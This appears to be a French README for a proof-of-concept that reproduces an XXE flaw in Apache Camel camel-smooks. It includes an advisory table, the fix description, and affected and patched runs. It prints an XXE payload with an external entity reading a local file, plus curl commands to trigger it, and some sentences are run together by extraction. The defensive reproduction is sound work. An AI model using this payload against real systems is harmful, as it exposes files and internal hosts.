
Preuve de concept Spring Boot exécutable reproduisant CVE-2026-88901, une faille XXE (CWE-611) dans Apache Camel camel-smooks, avec des exécutions de contrôle affectées et corrigées.
Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où le format de données Smooks
(.unmarshal().smooks(...)) et le composant Smooks (smooks:) analysaient le corps XML entrant avec le lecteur
que Smooks résout par défaut (le parseur SAX Woodstox), qui résout les entités générales et paramètres externes et
charge les DTD externes — et camel-smooks n'appliquait aucun des durcissements de parseur appliqués par les autres composants XML de Camel.
Un DOCTYPE avec un sous-ensemble externe, ou une entité générale externe, déclaré dans le document XML est donc résolu
et développé lors du démarshalling du corps, et le contenu résolu est lié au résultat. Un expéditeur externe
dont le XML atteint un format de données ou un endpoint camel-smooks pourrait lire des fichiers lisibles par le processus Camel, ou faire en sorte que le
processus émette des requêtes vers des hôtes internes (CWE-611). Aucune option non par défaut n'est requise — la résolution des entités externes était
le comportement par défaut.
Spring Boot uniquement. Ce reproducteur fournit un unique module Camel Spring Boot.
camel-smooksn'a pas d' extensioncamel-quarkus-smooks, il n'y a donc pas d'équivalent Quarkus à reproduire. Le module Spring Boot démontre le comportement affecté et le comportement corrigé.
| Runtime | Répertoire | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-smooks 4.22.0 (affecté ; corrigé en 4.22.1) |
Le pilote reproduit le propre test de régression du correctif (SmooksDataFormatXmlSecurityTest). Un fichier marqueur bénin est
écrit dans un répertoire temporaire, et un document XML <customer> est démarshalé via le véritable SmooksDataFormat avec
le smooks-config.xml standard (liant le document à un bean Customer). Le firstName du document est une entité externe
pointant vers le fichier marqueur :
<!DOCTYPE customer [<!ENTITY xxe SYSTEM "file:///…/secret.txt">]>
<customer><firstName>&xxe;</firstName>…</customer>
Customer.firstName — le fichier
a fuité dans le bean désérialisé.DocumentBuilder durci (entités externes et chargement de DTD externe
désactivés), donc l'entité n'est pas résolue et le marqueur n'apparaît jamais.cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: firstName = the marker file content; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-88901-smooks-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: firstName null, marker not leaked; >>> Not exploited
| Propriété | Valeur |
|---|---|
| Composant | camel-smooks (format de données et composant Smooks) |
| CWE | CWE-611 (Restriction inappropriée de la référence d'entité externe XML) |
| Sévérité | ÉLEVÉE |
| Vecteur d'attaque | Un expéditeur externe fournit le corps du message XML désérialisé par un format de données ou un endpoint camel-smooks utilisant le lecteur XML par défaut |
| Impact | Lecture de fichiers locaux accessibles au processus Camel ; SSRF vers des hôtes internes nommés par le document |
| Versions affectées | À partir de 4.7.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.1 |
| Versions corrigées | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24677 |
| Signalé par | h1ei1 |
Avis de sécurité : https://camel.apache.org/security/CVE-2026-88901.html
camel-smooks pré-analyse désormais le XML non fiable avec un
javax.xml.parsers.DocumentBuilder configuré avec FEATURE_SECURE_PROCESSING et avec les entités générales externes,
les entités de paramètre externes et le chargement de DTD externes désactivés, puis transmet à Smooks le DOM résultant — en
adéquation avec la configuration sécurisée utilisée par XmlConverter et les autres composants XML de Camel. Le durcissement
ne s'applique que lorsque la configuration Smooks analyse le XML avec son lecteur par défaut (ainsi les configurations EDI,
CSV, JSON et à lecteur personnalisé, ainsi que la direction de marshalling, restent inchangées). Une nouvelle option
allowExternalEntities, désactivée par défaut, restaure le comportement précédent pour les configurations héritées de confiance.
N'appliquez pas camel-smooks à du XML reçu d'expéditeurs non fiables.
Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la vulnérabilité, à vérifier s'ils sont affectés et à confirmer que la mise à jour la résout. Le fichier « secret » est créé par le reproducteur lui-même dans un répertoire temporaire et ne contient qu'une chaîne marqueur bénigne ; il est supprimé après la vérification. N'utilisez pas ce matériel contre des systèmes que vous ne possédez pas ou n'exploitez pas.